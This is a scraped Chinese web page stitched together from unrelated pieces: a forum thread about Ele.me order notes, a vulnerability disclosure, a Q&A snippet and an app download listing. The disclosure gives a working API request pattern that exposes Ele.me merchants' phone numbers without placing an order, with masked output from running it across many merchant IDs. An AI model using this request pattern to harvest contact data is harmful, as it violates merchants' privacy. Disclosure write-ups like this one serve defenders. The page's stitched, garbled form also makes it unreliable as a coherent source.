登饿了么新用户手机号商家版要输入管理员手机号是什么意思

来源：蜘蛛抓取(WebSpider) 时间：2015-12-25 17:39 标签： 饿了么新手机号获取
请登陆后使用
只需一步，快速开始
&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&&
查看: 1773|回复: 12
饿了么下单地址和备注里面都没办法写手机号码了
一三零八三三都不会么
不可能，就算再不行，直接下单后致电商家就搞定
是真不行了~问题是大多商家还没电话，百度都百度不出来电话&
不可能，就算再不行，直接下单后致电商家就搞定
是真不行了~问题是大多商家还没电话，百度都百度不出来电话
订单界面右上角点那个电话的符号，有商家电话
吓的我又点了2单，一切正常，没有楼主所说的问题
LZ 怎么写的电话号码？&
收货地址不能有电话号码存在
可以破语音？
138.可以吗？
吓的我又点了2单，一切正常，没有楼主所说的问题
LZ 怎么写的电话号码？
请拨139 888 888 8
真不行了啊，手机号码中间加符号也不行，貌似直接写汉字了
Powered by分享漏洞：
披露状态：
： 细节已通知厂商并且等待厂商处理中
： 厂商已经确认，细节仅向厂商公开
： 细节向核心白帽子及相关领域专家公开
： 细节向普通白帽子公开
： 细节向实习白帽子公开
： 厂商已经修复漏洞并主动公开，细节向公众公开
简要描述：
都知道获取商家手机号需要成功下订单才可以，但是一个接口即可绕过直接获取
详细说明：
把标题又改了一遍，新提交了。
code 区域http://r.ele.me/restapi/v1/restaurants/hlrgm?extras[]=identification
code 区域参数hlrgm是商家name
======================================== 复现过程 收先在主站找一个店！
就这个马大姐了
点开之后就可以看到商家id code 区域ay-cwlmd
然后构造以下链接！
http://r.ele.me/restapi/v1/restaurants/ay-cwlmd?extras[]=identification
马大姐的手机号就拿到了！mask 区域*****022331&lt*****
用top500用户名跑一下！
mask 区域*****lse 2058 1*****
*****se 2876 18*****
*****false 1974*****
*****lse 2058 *****
*****lse 2039 *****
*****false 2394*****
*****se 1688 18*****
*****alse 2606 1*****
*****alse 2606 1*****
*****lse 1675 1*****
*****alse 2037 *****
*****false 1604*****
*****false 1604*****
*****alse 2809 *****
*****false 2357*****
*****alse 3055 1*****
*****se 1880 15*****
*****se 2321 15*****
*****se 2321 15*****
*****alse 1730 *****
*****alse 1672 *****
*****alse 3364 *****
*****lse 1824 1*****
*****false 1736*****
*****se 1496 13*****
*****false 1999*****
*****false 1999*****
*****lse 1765 1*****
*****alse 1575 *****
*****alse 1575 *****
*****false 1629*****
*****false 1629*****
*****false 1917*****
*****lse 2912 1*****
*****se 2655 13*****
*****false 2611*****
*****false 2611*****
*****alse 1703 *****
*****alse 1703 *****
*****alse 1703 *****
*****false 1729*****
*****false 1710*****
*****lse 1905 1*****
*****lse 1905 1*****
*****se 2392 13*****
*****alse 1592 *****
*****alse 1573 *****
效果还是不错滴
漏洞证明：
修复方案：
版权声明：转载请注明来源 @
厂商回应：
危害等级：高
漏洞Rank：13
确认时间： 14:41
厂商回复：
感谢对饿了么的关注和支持
最新状态：
：感谢您的报告，经过内部多次沟通交流，现在已将此接口作为了业务需求的功能使用，请知悉。谢谢你对饿了么的关注。稍后我们将会联系你，进行后续礼品发放。
漏洞评价：
对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值
漏洞评价(共0人评价):
登陆后才能进行评分
@饿了么 会不会有礼物←_←
F轮融资到位
@DloveJ 有的
@饿了么 我很期待，啦啦啦，是什么啊⊙▽⊙
@饿了么 说好的礼物呢→_→
@DloveJ 礼物还没买，等个把月先O(∩_∩)O哈哈~
@开心一下1313 刚才和我要联系方式了
对于一个完全靠忽悠的公司，不想多说什么，发个牢骚：说是互相合作，其实就是单方面欺压合作方。至于公司员工素质，大区经理（93年？），市级负责（92年？刚毕业），还有个负责区域的（90后的样子）只能呵呵了，张嘴保证我们保证xx单，结果第二次见面签合同提到这个事情的时候，就跟你说，我们那个地方出单500-600单，我难道前台分析的数据有错误？还是你们前台页面显示的信息虚假的？不让我看到后端数据，凭什么让我相信？告诉我是机密，说“既然不看好前景，不相信我们，咱们就没有合作下去的必要了！”，同去的哥们说“你凭什么让我相信？”
然后送了洞主一碗马大姐水饺
登录后才能发表评论，请先饿了么商家版在手机后台老是网络连接错误是怎么回事_百度知道
饿了么商家版在手机后台老是网络连接错误是怎么回事
我有更好的答案
请您检查您的网络后重试
厂家人家长
其他类似问题
为您推荐：
手机后台的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁您当前所在位置：
→ 饿了么 v5.6.1
软件介绍软件截图相关下载网友评论
特别说明 新用户首次下单，最高立减20元
相关版本下载
Android版iPhone版PC版iPad版
本类下载排行
生活服务生活服务生活服务生活服务生活服务生活服务生活服务生活服务生活服务生活服务生活服务生活服务生活服务生活服务生活服务生活服务生活服务生活服务生活服务生活服务
相关推荐换一换
饿了么 v5.6.1

我要回帖

更多关于 饿了么新手机号获取 的文章

 

随机推荐